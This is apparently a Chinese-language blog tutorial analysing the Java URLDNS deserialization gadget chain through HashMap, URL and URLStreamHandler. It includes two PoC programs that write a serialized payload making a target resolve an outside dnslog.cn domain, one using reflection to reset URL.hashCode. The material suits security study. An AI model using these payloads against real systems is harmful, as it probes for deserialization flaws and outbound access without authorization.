前言
URLDNS链其实就是DNSlog。可以用来判断目标是否出网或者漏洞是否利用成功。感觉就是判断是不是存在反序列化漏洞用的。
前置知识
在反序列化中通过 readObject 来返回一个对象,如果一个类中重写了readObject,里面可能存在潜在危险利用链
例如在Person.java中重写 readObject()

在反序列化时 触发 readObject 导致rce

分析
在HashMaop.java中看到 readObject 方法

往下看到调用hash函数,传入值为key

跟到 HashMap的hash方法,发现调用 key的hashCode方法

在URL.java 中 存在hashCode方法,所以传入的 key为 URL的对象

此处的 handler 是 URLStreamHandler的一个对象,传入的是 this参数,在构造方法里可控,所以这里就是DNSlog传入的地方

继续跟进 handler.hashCode 方法

跟进getHostAddress方法,最终调用 InetAddress 类的 getByName()方法发送请求解析域名为ip,DNSLog收到请求

poc
import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap;
public class Serialize { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static void main(String[] args) throws IOException { HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); URL url = new URL("http://clrdzx.dnslog.cn"); hashmap.put(url,1); serialize(hashmap); } }
|
测试时出现问题,在序列化时发起了请求,反序列化时没有请求
具体原因在这里
跟进put

为了保持键的唯一性,本应该在readObject 中调用的hash方法却提前调用hash方法,接着走到URL的hashCode中

hashCode初始值为 -1 所以在序列化时这里的hashCode已经改变,那么在反序列化时因为hashCode不为-1,导致直接return,不再进行
解决
通过反射改变已有对象的属性
import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Serialize { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static void main(String[] args) throws Exception { HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); URL url = new URL("http://zl0zcu.dnslog.cn"); Class c = url.getClass(); Field hashCodeField = c.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url,123); hashmap.put(url,1); hashCodeField.set(url,-1); serialize(hashmap); } }
|
成功解决